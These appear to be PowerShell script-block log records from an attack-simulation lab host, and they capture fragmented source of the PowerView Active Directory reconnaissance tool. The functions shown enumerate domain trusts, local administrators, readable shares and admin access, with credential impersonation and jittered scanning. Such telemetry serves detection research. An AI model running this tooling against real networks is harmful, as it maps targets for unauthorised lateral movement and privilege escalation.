[ValidateNotNullOrEmpty()] [String[]] $Properties, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] [String] $SecurityMasks, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { $SearcherArguments = @{} $SearcherArguments['LDAPFilter'] = '(member=*)' if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credent421dbab9-027c-419f-a5e4-d72557c38f33C:\Users\reed_potts\Downloads\PowerView.ps1 4104132150x0666706Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local3841o any specified -Delay, defaults to +/- 0.3 .PARAMETER Threads The number of threads to use for user searching, defaults to 20. .EXAMPLE Find-DomainLocalGroupMember Enumerates the local group memberships for all reachable machines in the current domain. .EXAMPLE Find-DomainLocalGroupMember -Domain dev.testlab.local Enumerates the local group memberships for all reachable machines the dev.testlab.local domain. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Find-DomainLocalGroupMember -Domain testlab.local -Credential $Cred Enumerates the local group memberships for all reachable machines the dev.testlab.local domain using the alternate credentials. .OUTPUTS PowerView.LocalGroupMember.API Custom PSObject with translated group property fields from API results. PowerView.LocalGroupMember.WinNT Custom PSObject with translated group property fields from WinNT results. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.LocalGroupMember.API')] [OutputType('PowerView.LocalGroupMember.WinNT')] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('DNSHostName')] [String[]] $ComputerName, [ValidateNotNullOrEmpty()] [String] $ComputerDomain, [ValidateNotNullOrEmpty()] [String] $ComputerLDAPFilter, [ValidateNotNullOrEmpty()] [String] $ComputerSearchBase, [ValidateNotNullOrEmpty()] [Alias('OperatingSystem')] [String] $ComputerOperatingSystem, [ValidateNotNullOrEmpty()] [Alias('ServicePack')] [String] $ComputerServicePack, [ValidateNotNullOrEmpty()] [Alias('SiteName')] [String] $ComputerSiteName, [Parameter(ValueFromPipelineByPropertyName = $True)] [ValidateNotNullOrEmpty()] [String] $GroupName = 'Administrators', [ValidateSet('API', 'WinNT')] [Alias('CollectionMethod')] [String] $Method = 'API', [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, [ValidateRange(1, 10000)] [Int] $Delay = 0, [ValidateRange(0.0, 1.0)] [Double] $Jitter = .3, [Int] [ValidateRange(1, 100)] $Threads = 20 ) BEGIN { $ComputerSearcherArguments = @{ 'Properties' = 'dnshostname' } if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain } if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter } if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase } if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained } if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem } if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack } if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName } if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential } if ($PSBoundParameters['ComputerName']) { $TargetComputers = $ComputerName } else { Write-Verbose '[Find-DomainLocalGroupMember] Querying computers in the domain' $TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname } Write-Verbose "[Find-DomainLocalGroupMember] TargetComputers length: $($TargetComputers.Length)" if ($TargetComputers.Length -eq 0) { throw '[Find-DomainLocalGroupMember] No hosts found to enumerate' } # the host enumeration block we're using to enumerate all servers $HostEnumBlock = { Param($ComputerName, $GroupName, $Method, $TokenHandle) # Add check if user defaults to/selects "Administrators" if ($GroupName -eq "Administrators") { $AdminSecurityIdentifier = New-Object System.Security.Principal.SecurityIdentifier([System.Security.Principal.WellKnownSidType]::BuiltinAdministratorsSid,$null) $GroupName = ($AdminSecurityIdentifier.Translate([System.Security.Principal.NTAccount]).Value -split "\\")[-1] } if ($TokenHandle) { # impersonate the the token produced by LogonUser()/Invoke-UserImpersonation $Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet } ForEach ($TargetComputer in $ComputerName) { $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer if ($Up) { $NetLocalGroupMemberArguments = @{ 'ComputerName' = $TargetComputer 'Method' = $Method 'GroupName' = $GroupName } Get-NetLocalGroupMember @NetLocalGroupMemberArguments } } if ($TokenHandle) { Invoke-RevertToSelf } } $LogonToken = $Null if ($PSBoundParameters['Credential']) { if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { $LogonToken = Invoke-UserImpersonation -Credential $Credential } else { $LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet } } } PROCESS { # only ignore threading if -Delay is passed if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { Write-Verbose "[Find-DomainLocalGroupMember] Total number of hosts: $($TargetComputers.count)" Write-Verbose "[Find-DomainLocalGroupMember] Delay: $Delay, Jitter: $Jitter" $Counter = 0 $RandNo = New-Object System.Random ForEach ($TargetComputer in $TargetComputers) { $Counter = $Counter + 1 # sleep for our semi-randomized interval Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) Write-Verbose "[Find-DomainLocalGroupMember] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))" Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $GroupName, $Method, $LogonToken } } else { Write-Verbose "[Find-DomainLocalGroupMember] Using threading with threads: $Threads" # if we're using threading, kick off the script block with New-ThreadedFunction $ScriptParams = @{ 'GroupName' = $GroupName 'Method' = $Method 'TokenHandle' = $LogonToken } # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads } } END { if ($LogonToken) { Invoke-RevertToSelf -TokenHandle $LogonToken } } } ######################################################## # # Domain trust functions below. # ######################################################## function Get-DomainTrust { <# .SYNOPSIS Return all domain trusts for the current domain or a specified domain. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-Domain, Get-DomainSearcher, Get-DomainSID, PSReflect .DESCRIPTION This function will enumerate domain trust relationships for the current (or a remote) domain using a number of methods. By default, and LDAP search using the filter '(objectClass=trustedDomain)' is used- if any LDAP-appropriate parameters are specified LDAP is used as well. If the -NET flag is specified, the .NET method GetAllTrustRelationships() is used on the System.DirectoryServices.ActiveDirectory.Domain object. If the -API flag is specified, the Win32 API DsEnumerateDomainTrusts() call is used to enumerate instead. .PARAMETER Domain Specifies the domain to query for trusts, defaults to the current domain. .PARAMETER API Switch. Use an API call (DsEnumerateDomainTrusts) to enumerate the trusts instead of the built-in .NET methods. .PARAMETER NET Switch. Use .NET queries to enumerate trusts instead of the default LDAP method. .PARAMETER LDAPFilter Specifies an LDAP query string that is used to filter Active Directory objects. .PARAMETER Properties Specifies the properties of the output object to retrieve from the server. .PARAMETER SearchBase The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER FindOne Only return one result object. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Get-DomainTrust Return domain trusts for the current domain using built in .LDAP methods. .EXAMPLE Get-DomainTrust -NET -Domain "prod.testlab.local" Return domain trusts for the "prod.testlab.local" domain using .NET methods .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-DomainTrust -Domain "prod.testlab.local" -Server "PRIMARY.testlab.local" -Credential $Cred Return domain trusts for the "prod.testlab.local" domain enumerated through LDAP queries, binding to the PRIMARY.testlab.local server for queries, and using the specified alternate credenitals. .EXAMPLE Get-DomainTrust -API -Domain "prod.testlab.local" Return domain trusts for the "prod.testlab.local" domain enumerated through API calls. .OUTPUTS PowerView.DomainTrust.LDAP Custom PSObject with translated domain LDAP trust result fields (default). PowerView.DomainTrust.NET A TrustRelationshipInformationCollection returned when using .NET methods. PowerView.DomainTrust.API Custom PSObject with translated domain API trust result fields. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.DomainTrust.NET')] [OutputType('PowerView.DomainTrust.LDAP')] [OutputType('PowerView.DomainTrust.API')] [CmdletBinding(DefaultParameterSetName = 'LDAP')] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('Name')] [ValidateNotNullOrEmpty()] [String] $Domain, [Parameter(ParameterSetName = 'API')] [Switch] $API, [Parameter(ParameterSetName = 'NET')] [Switch] $NET, [Parameter(ParameterSetName = 'LDAP')] [ValidateNotNullOrEmpty()] [Alias('Filter')] [String] $LDAPFilter, [Parameter(ParameterSetName = 'LDAP')] [ValidateNotNullOrEmpty()] [String[]] $Properties, [Parameter(ParameterSetName = 'LDAP')] [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [Parameter(ParameterSetName = 'LDAP')] [Parameter(ParameterSetName = 'API')] [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [Parameter(ParameterSetName = 'LDAP')] [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [Parameter(ParameterSetName = 'LDAP')] [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [Parameter(ParameterSetName = 'LDAP')] [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Parameter(ParameterSetName = 'LDAP')] [Switch] $Tombstone, [Alias('ReturnOne')] [Switch] $FindOne, [Parameter(ParameterSetName = 'LDAP')] [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { $TrustAttributes = @{ [uint32]'0x00000001' = 'NON_TRANSITIVE' [uint32]'0x00000002' = 'UPLEVEL_ONLY' [uint32]'0x00000004' = 'FILTER_SIDS' [uint32]'0x00000008' = 'FOREST_TRANSITIVE' [uint32]'0x00000010' = 'CROSS_ORGANIZATION' [uint32]'0x00000020' = 'WITHIN_FOREST' [uint32]'0x00000040' = 'TREAT_AS_EXTERNAL' [uint32]'0x00000080' = 'TRUST_USES_RC4_ENCRYPTION' [uint32]'0x00000100' = 'TRUST_USES_AES_KEYS' [uint32]'0x00000200' = 'CROSS_ORGANIZATION_NO_TGT_DELEGATION' [uint32]'0x00000400' = 'PIM_TRUST' } $LdapSearcherArguments = @{} if ($PSBoundParameters['Domain']) { $LdapSearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['LDAPFilter']) { $LdapSearcherArguments['LDAPFilter'] = $LDAPFilter } if ($PSBoundParameters['Properties']) { $LdapSearcherArguments['Properties'] = $Properties } if ($PSBoundParameters['SearchBase']) { $LdapSearcherArguments['SearchBase'] = $SearchBase } if ($PSBoundParameters['Server']) { $LdapSearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $LdapSearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $LdapSearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $LdapSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $LdapSearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $LdapSearcherArguments['Credential'] = $Credential } } PROCESS { if ($PsCmdlet.ParameterSetName -ne 'API') { $NetSearcherArguments = @{} if ($Domain -and $Domain.Trim() -ne '') { $SourceDomain = $Domain } else { if ($PSBoundParameters['Credential']) { $SourceDomain = (Get-Domain -Credential $Credential).Name } else { $SourceDomain = (Get-Domain).Name } } } elseif ($PsCmdlet.ParameterSetName -ne 'NET') { if ($Domain -and $Domain.Trim() -ne '') { $SourceDomain = $Domain } else { $SourceDomain = $Env:USERDNSDOMAIN } } if ($PsCmdlet.ParameterSetName -eq 'LDAP') { # if we're searching for domain trusts through LDAP/ADSI $TrustSearcher = Get-DomainSearcher @LdapSearcherArguments $SourceSID = Get-DomainSID @NetSearcherArguments if ($TrustSearcher) { $TrustSearcher.Filter = '(objectClass=trustedDomain)' if ($PSBoundParameters['FindOne']) { $Results = $TrustSearcher.FindOne() } else { $Results = $TrustSearcher.FindAll() } $Results | Where-Object {$_} | ForEach-Object { $Props = $_.Properties $DomainTrust = New-Object PSObject $TrustAttrib = @() $TrustAttrib += $TrustAttributes.Keys | Where-Object { $Props.trustattributes[0] -band $_ } | ForEach-Object { $TrustAttributes[$_] } $Direction = Switch ($Props.trustdirection) { 0 { 'Disabled' } 1 { 'Inbound' } 2 { 'Outbound' } 3 { 'Bidirectional' } } $TrustType = Switch ($Props.trusttype) { 1 { 'WINDOWS_NON_ACTIVE_DIRECTORY' } 2 { 'WINDOWS_ACTIVE_DIRECTORY' } 3 { 'MIT' } } $Distinguishedname = $Props.distinguishedname[0] $SourceNameIndex = $Distinguishedname.IndexOf('DC=') if ($SourceNameIndex) { $SourceDomain = $($Distinguishedname.SubString($SourceNameIndex)) -replace 'DC=','' -replace ',','.' } else { $SourceDomain = "" } $TargetNameIndex = $Distinguishedname.IndexOf(',CN=System') if ($SourceNameIndex) { $TargetDomain = $Distinguishedname.SubString(3, $TargetNameIndex-3) } else { $TargetDomain = "" } $ObjectGuid = New-Object Guid @(,$Props.objectguid[0]) $TargetSID = (New-Object System.Security.Principal.SecurityIdentifier($Props.securityidentifier[0],0)).Value $DomainTrust | Add-Member Noteproperty 'SourceName' $SourceDomain 421dbab9-027c-419f-a5e4-d72557c38f33C:\Users\reed_potts\Downloads\PowerView.ps1 4104132150x0666705Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local3741ain' $TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname } Write-Verbose "[Find-InterestingDomainShareFile] TargetComputers length: $($TargetComputers.Length)" if ($TargetComputers.Length -eq 0) { throw '[Find-InterestingDomainShareFile] No hosts found to enumerate' } # the host enumeration block we're using to enumerate all servers $HostEnumBlock = { Param($ComputerName, $Include, $ExcludedShares, $OfficeDocs, $ExcludeHidden, $FreshEXEs, $CheckWriteAccess, $TokenHandle) if ($TokenHandle) { # impersonate the the token produced by LogonUser()/Invoke-UserImpersonation $Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet } ForEach ($TargetComputer in $ComputerName) { $SearchShares = @() if ($TargetComputer.StartsWith('\\')) { # if a share is passed as the server $SearchShares += $TargetComputer } else { $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer if ($Up) { # get the shares for this host and display what we find $Shares = Get-NetShare -ComputerName $TargetComputer ForEach ($Share in $Shares) { $ShareName = $Share.Name $Path = '\\'+$TargetComputer+'\'+$ShareName # make sure we get a real share name back if (($ShareName) -and ($ShareName.Trim() -ne '')) { # skip this share if it's in the exclude list if ($ExcludedShares -NotContains $ShareName) { # check if the user has access to this path try { $Null = [IO.Directory]::GetFiles($Path) $SearchShares += $Path } catch { Write-Verbose "[!] No access to $Path" } } } } } } ForEach ($Share in $SearchShares) { Write-Verbose "Searching share: $Share" $SearchArgs = @{ 'Path' = $Share 'Include' = $Include } if ($OfficeDocs) { $SearchArgs['OfficeDocs'] = $OfficeDocs } if ($FreshEXEs) { $SearchArgs['FreshEXEs'] = $FreshEXEs } if ($LastAccessTime) { $SearchArgs['LastAccessTime'] = $LastAccessTime } if ($LastWriteTime) { $SearchArgs['LastWriteTime'] = $LastWriteTime } if ($CreationTime) { $SearchArgs['CreationTime'] = $CreationTime } if ($CheckWriteAccess) { $SearchArgs['CheckWriteAccess'] = $CheckWriteAccess } Find-InterestingFile @SearchArgs } } if ($TokenHandle) { Invoke-RevertToSelf } } $LogonToken = $Null if ($PSBoundParameters['Credential']) { if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { $LogonToken = Invoke-UserImpersonation -Credential $Credential } else { $LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet } } } PROCESS { # only ignore threading if -Delay is passed if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { Write-Verbose "[Find-InterestingDomainShareFile] Total number of hosts: $($TargetComputers.count)" Write-Verbose "[Find-InterestingDomainShareFile] Delay: $Delay, Jitter: $Jitter" $Counter = 0 $RandNo = New-Object System.Random ForEach ($TargetComputer in $TargetComputers) { $Counter = $Counter + 1 # sleep for our semi-randomized interval Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) Write-Verbose "[Find-InterestingDomainShareFile] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))" Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $Include, $ExcludedShares, $OfficeDocs, $ExcludeHidden, $FreshEXEs, $CheckWriteAccess, $LogonToken } } else { Write-Verbose "[Find-InterestingDomainShareFile] Using threading with threads: $Threads" # if we're using threading, kick off the script block with New-ThreadedFunction $ScriptParams = @{ 'Include' = $Include 'ExcludedShares' = $ExcludedShares 'OfficeDocs' = $OfficeDocs 'ExcludeHidden' = $ExcludeHidden 'FreshEXEs' = $FreshEXEs 'CheckWriteAccess' = $CheckWriteAccess 'TokenHandle' = $LogonToken } # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads } } END { if ($LogonToken) { Invoke-RevertToSelf -TokenHandle $LogonToken } } } function Find-LocalAdminAccess { <# .SYNOPSIS Finds machines on the local domain where the current user has local administrator access. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Test-AdminAccess, New-ThreadedFunction .DESCRIPTION This function enumerates all machines on the current (or specified) domain using Get-DomainComputer, and for each computer it checks if the current user has local administrator access using Test-AdminAccess. If -Credential is passed, then Invoke-UserImpersonation is used to impersonate the specified user before enumeration, reverting after with Invoke-RevertToSelf. Idea adapted from the local_admin_search_enum post module in Metasploit written by: 'Brandon McCann "zeknox" <bmccann[at]accuvant.com>' 'Thomas McCarthy "smilingraccoon" <smilingraccoon[at]gmail.com>' 'Royce Davis "r3dy" <rdavis[at]accuvant.com>' .PARAMETER ComputerName Specifies an array of one or more hosts to enumerate, passable on the pipeline. If -ComputerName is not passed, the default behavior is to enumerate all machines in the domain returned by Get-DomainComputer. .PARAMETER ComputerDomain Specifies the domain to query for computers, defaults to the current domain. .PARAMETER ComputerLDAPFilter Specifies an LDAP query string that is used to search for computer objects. .PARAMETER ComputerSearchBase Specifies the LDAP source to search through for computers, e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. .PARAMETER ComputerOperatingSystem Search computers with a specific operating system, wildcards accepted. .PARAMETER ComputerServicePack Search computers with a specific service pack, wildcards accepted. .PARAMETER ComputerSiteName Search computers in the specific AD Site name, wildcards accepted. .PARAMETER CheckShareAccess Switch. Only display found shares that the local user has access to. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain and target systems. .PARAMETER Delay Specifies the delay (in seconds) between enumerating hosts, defaults to 0. .PARAMETER Jitter Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 .PARAMETER Threads The number of threads to use for user searching, defaults to 20. .EXAMPLE Find-LocalAdminAccess Finds machines in the current domain the current user has admin access to. .EXAMPLE Find-LocalAdminAccess -Domain dev.testlab.local Finds machines in the dev.testlab.local domain the current user has admin access to. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Find-LocalAdminAccess -Domain testlab.local -Credential $Cred Finds machines in the testlab.local domain that the user with the specified -Credential has admin access to. .OUTPUTS String Computer dnshostnames the current user has administrative access to. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType([String])] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('DNSHostName')] [String[]] $ComputerName, [ValidateNotNullOrEmpty()] [String] $ComputerDomain, [ValidateNotNullOrEmpty()] [String] $ComputerLDAPFilter, [ValidateNotNullOrEmpty()] [String] $ComputerSearchBase, [ValidateNotNullOrEmpty()] [Alias('OperatingSystem')] [String] $ComputerOperatingSystem, [ValidateNotNullOrEmpty()] [Alias('ServicePack')] [String] $ComputerServicePack, [ValidateNotNullOrEmpty()] [Alias('SiteName')] [String] $ComputerSiteName, [Switch] $CheckShareAccess, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, [ValidateRange(1, 10000)] [Int] $Delay = 0, [ValidateRange(0.0, 1.0)] [Double] $Jitter = .3, [Int] [ValidateRange(1, 100)] $Threads = 20 ) BEGIN { $ComputerSearcherArguments = @{ 'Properties' = 'dnshostname' } if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain } if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter } if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase } if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained } if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem } if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack } if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName } if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential } if ($PSBoundParameters['ComputerName']) { $TargetComputers = $ComputerName } else { Write-Verbose '[Find-LocalAdminAccess] Querying computers in the domain' $TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname } Write-Verbose "[Find-LocalAdminAccess] TargetComputers length: $($TargetComputers.Length)" if ($TargetComputers.Length -eq 0) { throw '[Find-LocalAdminAccess] No hosts found to enumerate' } # the host enumeration block we're using to enumerate all servers $HostEnumBlock = { Param($ComputerName, $TokenHandle) if ($TokenHandle) { # impersonate the the token produced by LogonUser()/Invoke-UserImpersonation $Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet } ForEach ($TargetComputer in $ComputerName) { $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer if ($Up) { # check if the current user has local admin access to this server $Access = Test-AdminAccess -ComputerName $TargetComputer if ($Access.IsAdmin) { $TargetComputer } } } if ($TokenHandle) { Invoke-RevertToSelf } } $LogonToken = $Null if ($PSBoundParameters['Credential']) { if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { $LogonToken = Invoke-UserImpersonation -Credential $Credential } else { $LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet } } } PROCESS { # only ignore threading if -Delay is passed if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { Write-Verbose "[Find-LocalAdminAccess] Total number of hosts: $($TargetComputers.count)" Write-Verbose "[Find-LocalAdminAccess] Delay: $Delay, Jitter: $Jitter" $Counter = 0 $RandNo = New-Object System.Random ForEach ($TargetComputer in $TargetComputers) { $Counter = $Counter + 1 # sleep for our semi-randomized interval Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) Write-Verbose "[Find-LocalAdminAccess] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))" Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $LogonToken } } else { Write-Verbose "[Find-LocalAdminAccess] Using threading with threads: $Threads" # if we're using threading, kick off the script block with New-ThreadedFunction $ScriptParams = @{ 'TokenHandle' = $LogonToken } # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads } } } function Find-DomainLocalGroupMember { <# .SYNOPSIS Enumerates the members of specified local group (default administrators) for all the targeted machines on the current (or specified) domain. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetLocalGroupMember, New-ThreadedFunction .DESCRIPTION This function enumerates all machines on the current (or specified) domain using Get-DomainComputer, and enumerates the members of the specified local group (default of Administrators) for each machine using Get-NetLocalGroupMember. By default, the API method is used, but this can be modified with '-Method winnt' to use the WinNT service provider. .PARAMETER ComputerName Specifies an array of one or more hosts to enumerate, passable on the pipeline. If -ComputerName is not passed, the default behavior is to enumerate all machines in the domain returned by Get-DomainComputer. .PARAMETER ComputerDomain Specifies the domain to query for computers, defaults to the current domain. .PARAMETER ComputerLDAPFilter Specifies an LDAP query string that is used to search for computer objects. .PARAMETER ComputerSearchBase Specifies the LDAP source to search through for computers, e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. .PARAMETER ComputerOperatingSystem Search computers with a specific operating system, wildcards accepted. .PARAMETER ComputerServicePack Search computers with a specific service pack, wildcards accepted. .PARAMETER ComputerSiteName Search computers in the specific AD Site name, wildcards accepted. .PARAMETER GroupName The local group name to query for users. If not given, it defaults to "Administrators". .PARAMETER Method The collection method to use, defaults to 'API', also accepts 'WinNT'. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). 